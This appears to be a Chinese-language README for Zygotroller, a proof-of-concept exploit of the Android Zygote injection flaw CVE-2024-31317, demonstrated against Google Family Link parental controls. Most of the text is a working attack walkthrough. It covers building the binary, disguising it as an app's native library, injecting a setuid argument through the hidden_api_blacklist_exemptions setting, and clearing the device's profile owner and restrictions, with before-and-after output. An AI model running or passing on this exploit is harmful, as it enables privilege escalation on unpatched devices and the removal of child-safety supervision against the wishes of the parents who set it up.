Zygotroller 是一个概念验证工具,可利用 CVE-2024-31317 的 Zygote 注入漏洞移除配置文件所有者及相关限制。它要求设备已开启开发者模式,且最新安全补丁日期早于 2024 年 6 月。
本仓库以 Google 的家长控制系统 Family Link 为例进行演示。
你需要一台运行基于 Debian 发行版的较新设备来编译 Zygotroller。预编译二进制文件是否可用,取决于你阅读本文时的时间点。
遗憾的是,这依赖于 Android 的内部组件,因此你需要克隆完整的 Android 源代码才能构建 Zygotroller。请确保至少有 400GB 可用空间,虽然实际使用量可能更少。
重要提示(如果使用 WSL):请确保有大量交换空间,否则 WSL 会崩溃。我个人使用了 32G:
sudo fallocate -l 32G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile
现在开始克隆 AOSP 源代码:
mkdir ~/aosp
cd ~/aosp
repo init --partial-clone --no-use-superproject -b android-latest-release -u https://android.googlesource.com/platform/manifest
repo sync -c -j8(由于限速,可能需要多次尝试)
source build/envsetup.sh
lunch aosp_cf_arm64_only_phone-aosp_current-eng(如果你在模拟器上测试,请将 arm64 改为 x86_64)
cd ~/aosp/external
git clone https://github.com/rifting/Zygotroller
cd Zygotroller
现在我们需要将脚本中的值改为我们实际的配置文件所有者以及 clearProfileOwner 的 opcode。配置文件所有者可能位于 Google Play 服务的“supervision”包中,也可能就在 Google Play 服务本身。运行 dpm list-owners,我的结果如下:
$ dpm list-owners
1 owner:
User 0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
这为我们提供了 Zygotroller 所需的两条信息:包名(com.google.android.gms.supervision)和类名(com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver)。
用你喜欢的文本编辑器编辑 zygotroll.cpp,并将以下几行更新为你的配置文件所有者组件:
// Family Link profile owner
std::string pkg = "com.google.android.gms.supervision";
std::string cls = "com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver";
现在你需要找到 DPM 的 clearProfileOwner 函数对应的 opcode。对我来说是“91”,但它因你运行的 Android 版本/类型而异。为了获取 clearProfileOwner 的 opcode,我使用了 android-svc 并运行以下命令:
android-svc convert 'android.app.admin.IDevicePolicyManager.clearProfileOwner("dummy")'
输出中看到的数字即为 clearProfileOwner 的 opcode。再次用你喜欢的文本编辑器打开 zygotroll.cpp,将此处的数字改为你实际的 opcode:
// Transaction code 91 was ClearProfileOwner for my device
dpm->transact(91, data, &reply);
你还需要对 setUserRestriction 做同样的操作:
// Transaction code 132 was setUserRestriction for my device
dpm->transact(132, data2, &reply2);
现在我们需要编译 zygotroller:
mm
首次构建可能需要很长时间,后续构建在大多数现代机器上只需不到 1 分钟。
在 ~/aosp/out/target/product/vsoc_x86_64_only/system/bin/zygotroller 中找到你的二进制文件。
现在我们需要制作一个应用,将该二进制文件作为“共享库”包含其中,实际上它只是 Zygotroller 可执行文件,这样 SELinux 才允许我们执行它。为此你可以使用我的“CopyNativeLib”仓库:
git clone https://github.com/rifting/CopyNativeLib.git
然后将你的 Zygotroller 二进制文件重命名为 libzygotroller.so,并放入 app/src/main/jniLibs/arm64-v8a(我假设这是你手机对应的架构)。在 Android Studio 中构建 APK,并通过 adb install 安装到你的设备。
Family Link 配置文件所有者的 userid 对我来说是 10090,即 u0_a90。
执行 dumpsys package com.google.android.gms.supervision | grep userId=
现在看看 payload.sh,在这行:
inject='\n--setuid=10090...
将这里的 UID 从 10090 改为 dumpsys 命令输出的你的 UID。如果相同,则保持不变。
再看那一行的后面一点,你会看到:
...echo zYg0te $(LD_LIBRARY_PATH=[path to your native lib] [path to your native lib])...
(用三个点表示截断)
你需要将这些路径替换为你刚刚安装到设备上的 native 库的路径。运行 pm path com.rifting.copynativelib。
文件的路径将是命令输出中 APK 的父目录,再加上 lib/arm64-v8a/libzygotroller.so。LD_LIBRARY_PATH 需要设置为库所在的目录,而库的实际路径应紧随其后。
因此那一行最终看起来会像这样:
...echo zYg0te $(LD_LIBRARY_PATH=/data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/ /data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/libreal.so)...
你快要完成了!将此文件推送到 /data/local/tmp
adb push payload.sh /data/local/tmp
设置权限:
chmod +x /data/local/tmp/payload.sh
最后,将它的输出发送到 hidden_api_blacklist_exemptions!
settings put global hidden_api_blacklist_exemptions "$(sh ./payload.sh)"
现在将此项设置为“0”以避免引导循环 :)
settings put global hidden_api_blacklist_exemptions 0
你应该会看到 Family Link 配置文件所有者及所有相关限制已被移除。 进入设置并管理账户,从设备上移除受监督的账户。恭喜!
之前:
$ dpm list-owners
1 owner:
User 0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions>
<restrictions_user user_id="0">
<restrictions no_factory_reset="true" no_config_location="true" no_add_clone_profile="true" no_safe_boot="true" no_config_credentials="true" no_config_date_time="true" />
</restrictions_user>
</device_policy_local_restrictions>
...
之后:
$ dpm list-owners
no owners
emu64xa:/ $
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions />
...